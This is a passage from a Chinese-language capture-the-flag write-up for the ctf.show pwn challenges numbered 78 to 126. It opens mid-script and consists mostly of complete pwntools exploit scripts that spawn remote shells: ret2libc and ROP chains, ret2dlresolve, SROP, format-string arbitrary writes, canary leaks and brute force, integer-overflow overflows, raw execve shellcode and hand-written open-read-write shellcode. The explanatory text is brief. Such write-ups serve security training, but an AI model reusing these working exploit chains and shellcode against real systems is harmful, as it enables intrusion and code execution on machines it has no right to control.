payload=cyclic(0x110-4)+p32(0x10d)+b'aaaaaaaa'+p64(rdi)+p64(puts_got)+p64(puts_plt)+p64(main)
io.sendline(payload)

puts=u64(io.recvuntil('\x7f')[-6:].ljust(8,b'\x00'))
print(hex(puts))

libc_base=puts-libc.sym['puts']
system=libc_base+libc.sym['system']
bin_sh=libc_base+next(libc.search('/bin/sh\x00'))

payload=cyclic(0x110-4)+p32(0x10d)+b'aaaaaaaa'+p64(ret)+p64(rdi)+p64(bin_sh)+p64(system)+p64(main)
io.sendline(payload)

io.interactive()

pwn78

64位ret2syscall的多系统调用

from pwn import*
io=remote('pwn.challenge.ctf.show',28149)

bss=0x06C1C60
rax=0x046b9f8
rdi=0x04016c3
rdx_rsi=0x04377f9
syscall=0x45bac5
payload=cyclic(0x50+8)+p64(rax)+p64(0)+p64(rdi)+p64(0)+p64(rdx_rsi)+p64(0x10)+p64(bss)+p64(syscall)
payload+=p64(rax)+p64(0x3b)+p64(rdi)+p64(bss)+p64(rdx_rsi)+p64(0)+p64(0)+p64(syscall)

io.sendline(payload)
io.sendline(b'/bin/sh\x00')

io.interactive()

pwn79

打ret2reg

from pwn import*
io=remote('pwn.challenge.ctf.show',28259)

call_eax=0x080484a0
shellcode=asm(shellcraft.sh())
payload=shellcode.ljust(0x208,b'a')+b'aaaa'+p32(call_eax)
io.sendline(payload)

io.interactive()

pwn80

打BROP

pwn81

简单的栈溢出,只需注意接收地址即可。

from pwn import*
elf=ELF('./pwn81')
libc=ELF('./pwn81libc.so')
io=remote('pwn.challenge.ctf.show',28243)

io.recvuntil('simple,O.o\n')
system=int(io.recvline(),16)
print(system)

libc_base=system-libc.sym['system']
bin_sh=libc_base+next(libc.search('/bin/sh\x00'))
rdi=libc_base+0x02164f
ret=libc_base+0x008aa

payload=cyclic(0x80+8)+p64(ret)+p64(rdi)+p64(bin_sh)+p64(system)+p64(0)
io.sendline(payload)

io.interactive()

pwn82

打ret2dlresolve,因为是No RELRO,因此可以修改.dynamic节

from pwn import*
io=remote('pwn.challenge.ctf.show',28160)
elf=ELF('./pwn82')
rop=ROP('./pwn82')

elf_strtab=0x08049804
bss=0x080498E0
read_plt_first=0x08048376

io.recvuntil('Welcome to CTFshowPWN!\n')
rop.raw(b'a'*112)
rop.read(0,elf_strtab+4,4)

dynstr=elf.get_section_by_name('.dynstr').data()
dynstr=dynstr.replace(b'read',b'system')
rop.read(0,bss,len(dynstr))

rop.read(0,bss+0x100,len('/bin/sh\x00'))

rop.raw(read_plt_first)
rop.raw(0xdeafbeef)
rop.raw(bss+0x100)

assert(len(rop.chain())<=256)
rop.raw(b'a'*(256-len(rop.chain())))

io.send(rop.chain())
io.send(p32(bss))
io.send(dynstr)
io.send(b'/bin/sh\x00')

io.interactive()

pwn83

开启了Partial RELRO,因此.dynamic节不可写了,可以伪造重定位表项来获取目标函数。

基于工具:

from pwn import *
context.log_level = 'debug'
#io = process("./pwn")
io = remote('pwn.challenge.ctf.show',28126)
elf = ELF('./pwn83')
rop = ROP('./pwn83')
dlresolve = Ret2dlresolvePayload(elf,symbol="system",args=["/bin/sh"])
rop.read(0,dlresolve.data_addr)
rop.ret2dlresolve(dlresolve)
raw_rop = rop.chain()
io.recvuntil("Welcome to CTFshowPWN!\n")
payload = flat({112:raw_rop,256:dlresolve.payload})
io.sendline(payload)
io.interactive()

pwn84

64位的ret2dlresolve,No RELRO

from pwn import *
context(arch = 'amd64',os = 'linux',log_level = 'debug')
elf = ELF("./pwn84")
io = remote('pwn.challenge.ctf.show',28124)

bss_addr = elf.bss()
print(hex(bss_addr))
csu_front_addr = 0x400750
csu_end_addr = 0x40076A
leave_ret = 0x40063c
pop_rbp = 0x400588
show = 0x400607
pop_rsi_r15 = 0x400771
pop_rdi = 0x400773
read_plt0=0x400516
def csu(rbx,rbp,r12,r13,r14,r15):
# pop rbx, rbp, r12, r13, r14, r15
# rbx = 0
# rbp = 1, enable not to jump
# r12 should be the function that you want to call
# rdi = edi = r13
# rsi = r14
# rdx =r15
payload=p64(csu_end_addr)
payload+=p64(rbx)+p64(rbp)+p64(r12)+p64(r13)+p64(r14)+p64(r15)
payload+=p64(csu_front_addr)
payload+=b'a'*0x38
return payload
io.recvuntil(b"Welcome to CTFshowPWN!\n")
stack_size = 0x200
new_stack = bss_addr + 0x100
rop = ROP('./pwn84')
offset = 112 + 8
rop.raw(b'a'*offset)
rop.raw(csu(0,1,elf.got['read'],0,0x600988+8,8))
rop.raw(show)
rop.raw(b'a'*(256-len(rop.chain())))
assert(len(rop.chain())<=256)
rop.raw(b'a'*(256-len(rop.chain())))
io.send(rop.chain())
io.send(p64(bss_addr+0x100))

#fake dynstr
rop = ROP("./pwn84")
rop.raw(b'a'*offset)
dynstr = elf.get_section_by_name('.dynstr').data()
dynstr = dynstr.replace(b"read",b"system")
rop.raw(csu(0,1,elf.got['read'],0,bss_addr+0x100,len(dynstr)))
rop.raw(show)
rop.raw(b'a'*(256-len(rop.chain())))
io.send(rop.chain())
io.send(dynstr)

#read /bin/sh
rop = ROP("./pwn84")
rop.raw(b'a'*offset)
rop.raw(csu(0,1,elf.got['read'],0,bss_addr+0x100+len(dynstr),len(b"/bin/sh\x00")))
rop.raw(show)
rop.raw(b'a'*(256-len(rop.chain())))
io.send(rop.chain())
io.send(b'/bin/sh\x00')

rop = ROP("./pwn84")
rop.raw(b'a'*offset)
rop.raw(pop_rsi_r15)
rop.raw(0)
rop.raw(0)
rop.raw(pop_rdi)
rop.raw(bss_addr+0x100+len(dynstr))
rop.raw(read_plt0)
rop.raw(0)
rop.raw(b'a'*(256-len(rop.chain())))
io.send(rop.chain())
io.interactive()

pwn85

64位的ret2dlresolve,Partial RELRO

from pwn import *
context(arch = 'amd64',os = 'linux',log_level = 'debug')
elf = ELF("./pwn85")
io = remote('pwn.challenge.ctf.show',28117)
bss_addr = elf.bss()
print(hex(bss_addr))
csu_front_addr = 0x400780
csu_end_addr = 0x40079A
show = 0x400637

pop_rdi = 0x4007a3
def csu(rbx,rbp,r12,r13,r14,r15):
# pop rbx, rbp, r12, r13, r14, r15
# rbx = 0
# rbp = 1, enable not to jump
# r12 should be the function that you want to call
# rdi = edi = r13
# rsi = r14
# rdx =r15
payload=p64(csu_end_addr)
payload+=p64(rbx)+p64(rbp)+p64(r12)+p64(r13)+p64(r14)+p64(r15)
payload+=p64(csu_front_addr)
payload+=b'\x00'*0x38
return payload
def ret2dlresolve_x64(elf,store_addr,func_name,resolve_addr):
plt0 = elf.get_section_by_name('.plt').header.sh_addr

rel_plt = elf.get_section_by_name('.rela.plt').header.sh_addr

relaent = elf.dynamic_value_by_tag("DT_RELAENT") #重定位表大小

dynsym = elf.get_section_by_name('.dynsym').header.sh_addr
syment = elf.dynamic_value_by_tag("DT_SYMENT") #符号表大小

dynstr = elf.get_section_by_name('.dynstr').header.sh_addr


# 创造fake函数字符
func_string_addr = store_addr
resolve_data = func_name + b"\x00"

# 创造fake symbol
symbol_addr = store_addr+len(resolve_data)
offset = symbol_addr - dynsym
pad = syment - offset % syment # align syment size
symbol_addr = symbol_addr+pad
symbol = p32(func_string_addr-dynstr)+p8(0x12)+p8(0)+p16(0)+p64(0)+p64(0)
symbol_index = (symbol_addr - dynsym)//24
resolve_data += b'\x00'*pad
resolve_data += symbol

#创造fake reloc
reloc_addr = store_addr+len(resolve_data)
offset = reloc_addr - rel_plt
pad = relaent - offset%relaent # align relaent size
reloc_addr +=pad
reloc_index = (reloc_addr-rel_plt)//24
rinfo = (symbol_index<<32) | 7
write_reloc = p64(resolve_addr)+p64(rinfo)+p64(0)
resolve_data += b'\x00'*pad
resolve_data +=write_reloc

resolve_call = p64(plt0) + p64(reloc_index)
return resolve_data,resolve_call


io.recvuntil("Welcome to CTFshowPWN!\n")
store_addr = bss_addr + 0x100
sh = b"/bin/sh\x00"

#创造fake string,symbol,修改.dynamic部分中的.dynstr指针到特定位置。
rop = ROP("./pwn85")
offset = 112+8
rop.raw(b'\x00'*offset)
resolve_data,resolve_call = ret2dlresolve_x64(elf,store_addr,b"system",elf.got['write'])
rop.raw(csu(0,1,elf.got['read'],0,store_addr,len(resolve_data)+len(sh)))
rop.raw(show)
rop.raw(b'\x00'*(256-len(rop.chain())))
assert(len(rop.chain())<=256)
io.send(rop.chain())

io.send(resolve_data+sh)

bin_sh_addr = store_addr + len(resolve_data)

#泄露link_map addr
rop = ROP('./pwn85')
rop.raw(b'\x00'*offset)
rop.raw(csu(0,1,elf.got['write'],1,0x601008,8))
rop.raw(show)
rop.raw(b'\x00'*(256-len(rop.chain())))
io.send(rop.chain())
link_map_addr = u64(io.recv(8))
print(hex(link_map_addr))

# set l->l_info[VERSYMIDX(DT_VERSYM)] = NULL
rop = ROP('./pwn85')
rop.raw(b'\x00'*offset)
rop.raw(csu(0,1,elf.got['read'],0,link_map_addr+0x1c8,8))
rop.raw(show)
io.sendline(rop.chain())
sleep(1)
io.send(p64(0))

rop = ROP('./pwn85')
rop.raw(b'\x00'*offset)
rop.raw(pop_rdi)
rop.raw(bin_sh_addr)
rop.raw(resolve_call)
io.send(rop.chain())
io.interactive()

pwn86

打SROP

from pwn import*
context(arch='amd64',os='linux')
elf=ELF('./pwn86')
io=remote('pwn.challenge.ctf.show',28285)

str_bin_sh_offset=0x100

frame = SigreturnFrame()
frame.rax = constants.SYS_execve
frame.rdi = elf.symbols['global_buf'] + str_bin_sh_offset
frame.rsi = 0
frame.rdx = 0
frame.rip = elf.symbols['syscall']
io.send(bytes(frame).ljust(str_bin_sh_offset, b'a') + b'/bin/sh\x00')

io.interactive()

pwn87

花式栈溢出,控制esp执行shellcode

from pwn import*
io=remote('pwn.challenge.ctf.show',28115)

jmp_esp=0x08048d17
set_jmp_esp='''
sub esp,0x28;
jmp esp;
'''
set_jmp_esp=asm(set_jmp_esp)
shellcode=b"\x31\xc9\xf7\xe1\x51\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\xb0\x0b\xcd\x80" #21字节shellcode

payload=shellcode.ljust(0x24,b'a')+p32(jmp_esp)+set_jmp_esp
io.recvuntil(b'name?')
io.sendline(payload)
io.interactive()

pwn88

先一字节读写,修改text跳转,改指令为jmp再写入shellcode,再跳转到shellcode并执行。

from pwn import*
context.arch='amd64'
io=remote('pwn.challenge.ctf.show',28272)

text = 0x400767

def writeData(addr,data):
io.sendlineafter('Where What?',hex(addr) + ' ' + str(data))
writeData(text+1,u32(asm('jnz $-0x4A')[1:].ljust(4,b'\x00')))
writeData(text,u32(asm('jmp $-0x4A')[0:1].ljust(4,b'\x00')))
shellcode=asm(shellcraft.sh())
shellcode_addr = 0x400769
i = 0
for x in shellcode:
data = x
writeData(shellcode_addr+i,str(data))
i=i+1
writeData(text+1,u32(asm('jnz $+0x2')[1:].ljust(4,b'\x00')))

io.interactive()

pwn89

劫持TLS绕过canary,前提:溢出字节足够大,通常至少4K,创建一个线程,在线程内栈溢出。原理:在开启canary的情况下,当程序在创建线程的时候,会创建一个TLS(Thread Local Storage),这个TLS会存储canary的值,而TLS会保存在stack高地址的地方。

那么,当我们溢出足够大的字节覆盖到TLS所在的地方,就可以控制TLS结构体,进而控制canary到我们想要的值,实现ROP。

from pwn import*
elf=ELF('./pwn89')
libc=ELF('./pwn89libc.so')
io=remote('pwn.challenge.ctf.show',28111)

bss=0x0602010
puts_plt=elf.plt['puts']
puts_got=elf.got['puts']
read_plt=elf.plt['read']
rdi=0x0400be3
rsi_r15=0x0400be1
ret=0x04006be
leave_ret=0x040098c

payload=b'a'*0x1010+p64(bss-0x8)+p64(rdi)+p64(puts_got)+p64(puts_plt)+p64(rdi)+p64(0)+p64(rsi_r15)+p64(bss)+p64(0)+p64(read_plt)+p64(leave_ret)
payload=payload.ljust(0x2000,b'a')

io.sendlineafter("send:",str(0x2000))
io.send(payload)

puts=u64(io.recvuntil('\x7f')[-6:].ljust(8,b'\x00'))
print(hex(puts))
libc_base=puts-libc.sym['puts']

one_gadget=libc_base+0x10a2fc
io.sendline(p64(one_gadget))

io.interactive()

pwn90

泄漏canary的值再修改返回地址到后门函数。

from pwn import*
io=remote('pwn.challenge.ctf.show',28302)

io.sendlineafter("CTFshow:",b'a'*40)
io.recvuntil('a'*40)
canary=u64(io.recv(8))-0xa

print(hex(canary))

payload=cyclic(40)+p64(canary)+p64(0)+b'\x42'
io.send(payload)

io.interactive()

格式化字符串漏洞

pwn91

简单的格式化字符串漏洞。利用漏洞向目标地址写入数据

from pwn import*
io=remote('pwn.challenge.ctf.show',28259)

daniu=0x0804B038
payload=fmtstr_payload(7,{daniu:6})
io.sendline(payload)

io.interactive()

pwn92

存在格式化字符串漏洞,直接输入%s获得flag即可。

pwn93

也简单的介绍了格式化字符串的一些东西,当然想要获得flag很容易,直接输入7即可。

pwn94

存在格式化字符串漏洞,且存在system函数,由于输入长度有限,因此无法造成栈溢出。那么就可以利用格式化字符串漏洞实现任意写,将printf.got指向的地址改为system.plt,这样一来当再次执行printf()时,就相当于执行system()。

from pwn import*
elf=ELF('./pwn94')
io=remote('pwn.challenge.ctf.show',28256)

printf_got = elf.got['printf']
system_plt = elf.plt['system']

payload=fmtstr_payload(6,{printf_got:system_plt})
io.sendline(payload)

io.send(b'/bin/sh\x00')

io.interactive()

pwn95

这道题没有使用system函数,就不能直接利用system.plt,因此先泄漏libc,再用跟pwn94一样的攻击手法。

from pwn import*
from LibcSearcher import*
elf=ELF('./pwn95')
io=remote('pwn.challenge.ctf.show',28139)

printf_plt=elf.plt['printf']
printf_got=elf.got['printf']

payload1=p32(printf_got)+b'%6$s'
io.send(payload1)

printf=u32(io.recvuntil('\xf7')[-4:])
print(hex(printf))

libc=LibcSearcher('printf',printf)
libc_base=printf-libc.dump('printf')
system=libc_base+libc.dump('system')

payload2=fmtstr_payload(6,{printf_got:system})
io.send(payload2)

io.send(b'/bin/sh\x00')

io.interactive()

pwn96

存在格式化字符串漏洞,看一下flag字符串的偏移

看出来偏移为6~18,由于是小端序,因此逆序输出。

from pwn import*
io=remote('pwn.challenge.ctf.show',28226)
flag=b''
for i in range(6,6+12):
payload='%{}$p'.format(str(i))
io.sendlineafter("$ ",payload)
aim=unhex(io.recvuntil('\n',drop=True).replace(b'0x',b''))
flag+=aim[::-1]
print(flag)

io.interactive()

pwn97

一道简单的利用格式化字符串任意写的题。

from pwn import*
io=remote("pwn.challenge.ctf.show",28244)

check=0x0804B040
payload=fmtstr_payload(11,{check:1})
io.sendline(payload)

io.interactive()

pwn98

存在canary,但可以通过printf泄漏canary的值,从而绕过canary保护,且存在后门函数

from pwn import*
io=remote('pwn.challenge.ctf.show',28195)

backdoor=0x80486CE

payload=b'%15$x'
io.recv()
io.sendline(payload)
canary=int(io.recv(),16)
print(hex(canary))

payload=cyclic(0x28)+p32(canary)+b'a'*0xc+p32(backdoor)
io.sendline(payload)

io.interactive()

pwn99

fmt盲打

知道flag在栈上,且存在格式化字符串漏洞,因此可以利用该漏洞泄漏flag

from pwn import*

def exploit(payload):
io=remote('pwn.challenge.ctf.show',28307)
io.recv()
io.sendline(payload)
data=io.recvuntil(b'\n',drop=True)
if data.startswith(b'0x'):
print(p64(int(data,16)))
io.close()

i=1
while 1:
payload='%{}$p'.format(str(i))
exploit(payload)
i+=1
print(i)

pwn100

一道菜单题目,存在几个函数与后门函数,开启了NX、canary、PIE保护,因此大致思路就是泄漏基地址再修改某函数返回地址为后面函数,直接获得flag。

首先是输入时间并打印出来,没有可利用的格式化漏洞

存在格式化字符串漏洞利用,但是只能使用一次,因此需要利用该漏洞将a1的值改为0,从而能一直利用该漏洞,那么就需要找到a1的偏移

从汇编可以看出,a1在rbp-0x48的位置,利用gdb算出偏移为7

因此可以利用%7$n,将a1的值改为0。因为我们将%7$n放在开头,在其之前并没有打印出任何字符,所以个数为0,通过%7$n将这个0写入到a1中,这样一来就可以不断利用该漏洞了。

因为开启了PIE保护,需要泄漏基址以及返回地址

在这里可以看到栈上的rbp存放着main函数的rbp,在rbp+0x8存放着fmt_attack原本的返回地址,因此先泄漏main的rbp算出fmt_attack函数存放返回地址的地址,再泄漏原本的返回地址算出基地址并算出后门函数,最后修改即可。

from pwn import*
io=remote('pwn.challenge.ctf.show',28122)
#io=process('./pwn100')

io.sendline(b'1 1 1')

def fmt(payload):
io.sendlineafter(">>",b"2")
io.sendline(payload)

payload1=b'%7$n-%17$p'
fmt(payload1)
io.recvuntil(b'-')
ret_value=int(io.recvuntil('\n')[:-1],16)
print(hex(ret_value))
base_addr=ret_value-0x102c

payload2=b'%7$n-%16$p'
fmt(payload2)
io.recvuntil(b'-')
ret_addr=int(io.recvuntil('\n')[:-1],16)-0x28
print(hex(ret_addr))

payload3=b'%'+str((base_addr+0xf56)&0xffff).encode()+b'c%10$hn'
payload3=payload3.ljust(0x10,b'a')
payload3=payload3+p64(ret_addr)

fmt(payload3)

io.interactive()

整数安全

pwn101

本题主要考察整数类型的一些东西。

char (与 signed char 或 unsigned char 相同)
unsigned char 1个字节 0 255
signed char 1个字节 -128 127
int 2个或4个字节 -32 768 或 -2 147 483 648 32767 或 2 147 483 647
unsigned int 2个或4个字节 0 65 535 或 4 294 967 295
short 2个字节 -32 768 32 767
unsigned short 2个字节 0 65 535
long 4个字节 -2 147 483 648 2 147 483 647
unsigned long 4个字节 0 4 294 967 295
long long (C99) 8个字节 -9 223 372 036 854 775 808 9 223 372 036 854 775 807
Unsigned long long (C99) 8个字节 0 18 446 744 073 709 551 615

输入两给数且符合条件,则获得flag。

from pwn import*
io=remote('pwn.challenge.ctf.show',28136)
payload=b'-2147483648 2147483647'
io.sendlineafter(b"integers: ",payload)
io.interactive()

pwn102

也是一道简单的整数安全,输入的数据符合条件即可获得flag。

from pwn import*
io=remote('pwn.challenge.ctf.show',28270)

io.sendlineafter(b'integer: ',b'4294967295')

io.interactive()

pwn103

一样的简单题目,直接上exp

from pwn import*
io=remote('pwn.challenge.ctf.show',28223)

io.sendline(b'0')
io.sendline(b'-1')

io.interactive()

pwn104

存在整数安全,因为执行read函数时,nbytes为unsigned int类型,而输入时为int类型,因此可以输入-1使nbytes的值变为非常大的正数,造成栈溢出,存在后门函数。

from pwn import*
io=remote('pwn.challenge.ctf.show',28156)

ret=0x040055e
backdoor=0x040078D

io.sendlineafter(b"you?",b"-1")
payload=cyclic(0xE+8)+p64(ret)+p64(backdoor)
io.sendline(payload)

io.interactive()

pwn105

该题的程序流程比较简单,先输入一串字符串,若该字符串的长度满足if语句,则退出程序,这里因为接收字符串长度的变量n3是一个无符号八位的整型,范围0~255,因此可以输入一串较长的字符串,使得n3的值在范围之间即可。

from pwn import*
io=remote('pwn.challenge.ctf.show',28106)

backdoor=0x804870E

payload=cyclic(0x11+4)+p32(backdoor)
payload=payload.ljust(256,b'a')
io.sendline(payload)

io.interactive()

pwn106

和pwn105差不多一样

from pwn import*
io=remote('pwn.challenge.ctf.show',28256)

flag=0x8048919

io.sendlineafter(b"choice:",b"1")
io.sendlineafter(b"username:",b"haoo")

payload=cyclic(0x14+4)+p32(flag)
payload=payload.ljust(260,b"a")

io.sendlineafter(b"passwd:",payload)

io.interactive()

pwn107

同理,一道简单的整数安全

from pwn import*
from LibcSearcher import*
elf=ELF('./pwn107')
#libc=ELF('./pwn107libc.so')
io=remote('pwn.challenge.ctf.show',28277)

printf_got=elf.got['printf']
printf_plt=elf.plt['printf']
main=elf.sym['main']

io.sendlineafter(b"read?",b"-1")
payload=cyclic(0x2c+4)+p32(printf_plt)+p32(main)+p32(printf_got)
io.sendline(payload)

io.recvuntil(b"\n")
printf=u32(io.recvuntil('\xf7')[-4:])
print(hex(printf))

libc=LibcSearcher('printf',printf)
libc_base=printf-libc.dump('printf')
bin_sh=libc_base+libc.dump('str_bin_sh')
system=libc_base+libc.dump('system')

io.sendlineafter(b"read?",b"-1")
io.recvuntil(b"\n")
payload=cyclic(0x2c+4)+p32(system)+p32(main)+p32(bin_sh)
io.sendline(payload)

io.interactive()

pwn108

限制了一些gadget,所以可以劫持strlen函数的got表为one_gadget即可。

from pwn import *
context(arch='amd64',os='linux',log_level='debug')
#io = process('./pwn')
io = remote('pwn.challenge.ctf.show',28124)
elf = ELF('./pwn108')
libc = ELF('/lib/x86_64-linux-gnu/libc.so.6')
io.recvuntil('0x')
puts_addr = int(io.recv(12),16)
libc_base = puts_addr - libc.sym['puts']
strlen = libc_base + 0x3eb0a8
sss = str(strlen)
io.sendline(sss)
one_gadget = libc_base + 0xe54fe
for _ in range(3):
io.sendlineafter("biang!\n", chr(one_gadget & 0xff))
one_gadget = one_gadget >> 8
io.interactive()

pwn109

存在格式化字符串漏洞,没开启NX保护,泄漏了栈地址,修改返回地址即可。

from pwn import*
io=remote('pwn.challenge.ctf.show',28184)
shellcode=asm(shellcraft.sh())

io.sendlineafter('Quit!!!\n','1')
stack = int(io.recvuntil('\n'),16)
ret = stack + 0x41c
payload = fmtstr_payload(16,{ret:stack})
io.sendline(payload)
io.sendlineafter('Quit!!!\n','2')
io.sendlineafter('Quit!!!\n','1')
io.sendline(shellcode)
io.sendlineafter('Quit!!!\n','3')
io.interactive()

pwn110

大致思路跟pwn109一样,输入-1绕过检查并造成栈溢出,接收泄漏的栈地址,没开启NX保护,修改返回地址。

from pwn import *
context.log_level='debug'
#io = process("./pwn")
io = remote('pwn.challenge.ctf.show',28287)
io.recv()
io.sendline(b'-1')
buf = int(io.recv(8),16)
io.recv()
payload = asm(shellcraft.sh()).ljust(0x41b+0x4,b'A') + p32(buf)
io.sendline(payload)
io.interactive()

Bypass安全机制

pwn111

简单的64位栈溢出,存在后门函数。

from pwn import*
elf=ELF('./pwn111')
io=remote('pwn.challenge.ctf.show',28272)

write_plt=elf.plt['write']
write_got=elf.got['write']
main=elf.sym['main']
backdoor=0x0400697
rdi=0x04008d3
rsi_r15=0x04008d1
ret=0x040025c

payload=cyclic(0x80+8)+p64(backdoor)
io.sendline(payload)

io.interactive()

pwn112

一道简单的题目,只需要将n17的值覆盖为17即可。

from pwn import*
io=remote('pwn.challenge.ctf.show',28202)

payload=p32(17)*0xe
io.sendline(payload)

io.interactive()

pwn113

一开始看起来有点复杂,但是执行了一下程序大概了解了流程,就是输入一个有效文件路径,就会输出该路径下的所有文件以及权限,但是不可读取

可以看出若输入一个无效路径就会开启沙盒保护,因此可以打orw,由于开启了NX保护,因此先泄漏libc,获得mprotect,最后打orw。

from pwn import*
#io=process('./pwn113')
context.arch='amd64'
io=remote('pwn.challenge.ctf.show',28170)
elf=ELF('./pwn113')
libc=ELF('./pwn113libc.so')

puts_plt=elf.plt['puts']
puts_got=elf.got['puts']
main=elf.sym['main']
rdi=0x0401ba3

#gdb.attach(io)

payload=b'a'*0x418+p8(0x28)+p64(rdi)+p64(puts_got)+p64(puts_plt)+p64(main)
io.sendline(payload)
puts=u64(io.recvuntil('\x7f')[-6:].ljust(8,b'\x00'))
print(hex(puts))

libc_base=puts-libc.sym['puts']
rsi=libc_base+0x023e6a
rdx=libc_base+0x01b96
gets=libc_base+libc.sym['gets']
mprotect=libc_base+libc.sym['mprotect']

payload=b'a'*0x418+p8(0x28)
payload+=p64(rdi)+p64(elf.bss())+p64(gets)
payload+=p64(rdi)+p64(elf.bss()&0xfffffffffffff000)+p64(rsi)+p64(0x1000)+p64(rdx)+p64(7)+p64(mprotect)
payload+=p64(elf.bss())

io.sendline(payload)

shellcode=shellcraft.open('/flag')+shellcraft.read(3,elf.bss(),0x100)+shellcraft.write(1,elf.bss(),0x100)
shellcode=asm(shellcode)

io.sendline(shellcode)

io.interactive()

这里偷了下懒,直接使用shellcraft编写shellcode,下面粘贴一下官方WP所给的shellcode:

shellcode = asm('''
mov rax, 0x67616c662f2e
push rax #将文件名'./flag'压入栈
mov rdi, rsp #rdi=文件名指针(栈顶)
xor esi, esi #esi=0(O_RDONLY模式)
mov eax, 2 #eax=2(sys_open系统调用号)
syscall

cmp eax, 0
jg next #比较返回值(文件描述符),若大于0(成功)则跳转到next

push 1
mov edi, 1
mov rsi, rsp
mov edx, 4
mov eax, edi
syscall
jmp exit

next:
mov edi, eax
mov rsi, rsp
mov edx, 0x100
xor eax, eax
syscall #read

mov edx, eax
mov edi, 1
mov rsi, rsp
mov eax, edi
syscall #write

exit:
xor edi, edi
mov eax, 231 #sys_exit_group系统调用号
syscall
''')

pwn114

简单的一道栈溢出题目。直接溢出就能获得flag。

from pwn import*
io=remote('pwn.challenge.ctf.show',28269)

io.sendline('Yes')
payload=cyclic(0x108)
io.sendline(payload)

io.interactive()

pwn115

开启了canary保护且存在格式化字符串漏洞与后门函数,因此可以先泄漏canary的值,再栈溢出返回到后门函数。

from pwn import*
io=remote('pwn.challenge.ctf.show',28161)

backdoor=0x80485A6

io.sendline(b'%55$p')
io.recvuntil('0x')
canary=int(io.recv(8),16)
print(hex(canary))
io.recv()

payload=p32(canary)*54+p32(backdoor)
io.sendline(payload)

io.interactive()

pwn116

同理pwn115

from pwn import*
io=remote('pwn.challenge.ctf.show',28221)

backdoor=0x8048586

io.sendline(b'%15$p')
io.recvuntil('0x')
canary=int(io.recv(8),16)
print(hex(canary))

payload=p32(canary)*12+p32(backdoor)
io.sendline(payload)

io.interactive()

pwn117

利用canary检测失败会调用stack_chk_fail函数,输出报错并输出文件名的特点,可以覆盖该文件名指针实现任意地址读,关键在于找argv[0]的地址计算偏移,这主要用于flag已经存在了。

from pwn import*
io=remote('pwn.challenge.ctf.show',28261)

flag=0x06020A0

payload=cyclic(504)+p64(flag)
io.sendline(payload)

io.interactive()

pwn118

此题为No RELRO,可以修改got表的内容,再加上已经给了后门函数以及开启了canary保护,存在格式化字符串漏洞,因此可以修改__stack_chk_fail函数的got表的地址为后门地址,那么在调用该函数时就相当于调用了后门函数。

from pwn import*
elf=ELF('./pwn118')
io=remote('pwn.challenge.ctf.show',28286)

get_flag=0x8048586
_stack_chk_fail_got=elf.got['__stack_chk_fail']

payload=fmtstr_payload(7,{_stack_chk_fail_got:get_flag})
payload=payload.ljust(0x50,b'a')
io.sendline(payload)

io.interactive()

pwn119

利用fork函数创建的子进程会拷贝父进程的内存,因此在这题中父进程的canary的值不会改变,因此尽管会多次创建子进程,但是其canary的值不变,因此可以这样泄漏canary的值后造成栈溢出返回到backdoor,获得shell。

from pwn import *
import time

io = remote('pwn.challenge.ctf.show', 28252)
elf = ELF('./pwn119')
backdoor = elf.sym['backdoor']
canary = b'\x00'

for i in range(3):
for j in range(0, 256):
print("idx: " + str(i) + ": " + str(j))
payload = b'a' * (0x70 - 0xC) + canary + bytes([j])
io.send(payload)
time.sleep(0.3)
text = io.recv()
print(text)
if b"stack smashing detected" not in text:
canary += bytes([j])
print("Canary: " + str(canary))
break

print('Canary:' + hex(u32(canary)))
payload = b'a' * (0x70 - 0xc) + canary + b'a' * 0xc + p32(backdoor)
io.send(payload)
io.recv()
io.interactive()

pwn120

这道题介绍了另一个绕过canary保护的方法,当开启canary保护的情况下,在程序创建线程时会创建一个TLS,这个TLS会存储canary的值,在函数返回前会使用该值进行对比,因此当溢出足够大时就能同时覆盖栈上的与TLS存储的canary的值,从而实现绕过。由于这题我们并没有泄漏出canary的值,就不好打常规的栈溢出之类的,因此可以打栈迁移+one_gadget。

from pwn import*
io=remote('pwn.challenge.ctf.show',28121)
elf=ELF('./pwn120')
libc=ELF('./pwn120libc.so')

rdi=0x0400be3
rsi_r15=0x0400be1
leave_ret=0x040098c

puts_plt=elf.plt['puts']
puts_got=elf.got['puts']
read=elf.sym['read']
bss=0x602f00


payload=b'a'*0x510+p64(bss-0x8)+p64(rdi)+p64(puts_got)+p64(puts_plt)
payload+=p64(rdi)+p64(0)+p64(rsi_r15)+p64(bss)+p64(0)+p64(read)
payload+=p64(leave_ret)
payload=payload.ljust(0x1000,b'a')

io.sendlineafter(b"How much do you want to send this time?",str(0x1000))
io.send(payload)

puts=u64(io.recvuntil('\x7f')[-6:].ljust(8,b'\x00'))
print(hex(puts))
libc_base=puts-libc.sym['puts']
one_gadget=libc_base+0x4f302

payload=p64(one_gadget)
io.sendline(payload)

io.interactive()

pwn121

pwn122

pwn123

该题只对数组进行了初始化,但没有进行对数组边界的检查,因此可以修改返回地址到backdoor。

from pwn import*
io=remote('pwn.challenge.ctf.show',28235)
backdoor=0x80485D6
io.sendlineafter(b'name?',b'haoo')
io.recvuntil(b'numbers')
io.recvuntil(b'>')
io.sendline(b'1')
io.sendlineafter(b'edit: ',b'14')
io.sendlineafter(b'How many? ',str(backdoor))

io.sendline(b'0')

io.interactive()

pwn124

简单的打shellcode

from pwn import*
io=remote('pwn.challenge.ctf.show',28251)
io.sendline(b'CTFshowPWN')
shellcode=asm(shellcraft.sh())
io.sendline(shellcode)
io.interactive()

pwn125

不难就是多了个mov rdi,rsp这说明了此时rdi指向了输入的数据在内存的第一个位置。存在system函数,直接输入/bin/sh即可

from pwn import*
io=remote('pwn.challenge.ctf.show',28133)
system=0x0400672
payload=b'/bin/sh\x00'+cyclic(0x2000)+p64(system)
io.sendline(payload)

io.interactive()

pwn126

可以直接打ret2libc

from pwn import*
elf=ELF('./pwn126')
libc=ELF('./pwn126libc.so')
io=remote('pwn.challenge.ctf.show',28235)

rdi=0x04007a3
ret=0x04004c6
puts_plt=elf.plt['puts']
puts_got=elf.got['puts']
main=elf.sym['main']

payload=cyclic(0x40+8)+p64(rdi)+p64(puts_got)+p64(puts_plt)+p64(main)
io.sendline(payload)
puts=u64(io.recvuntil('\x7f')[-6:].ljust(8,b'\x00'))
print(hex(puts))

libc_base=puts-libc.sym['puts']
system=libc_base+libc.sym['system']
bin_sh=libc_base+next(libc.search('/bin/sh\x00'))

payload=cyclic(0x40+8)+p64(ret)+p64(rdi)+p64(bin_sh)+p64(system)+p64(main)
io.sendline(payload)

io.interactive()

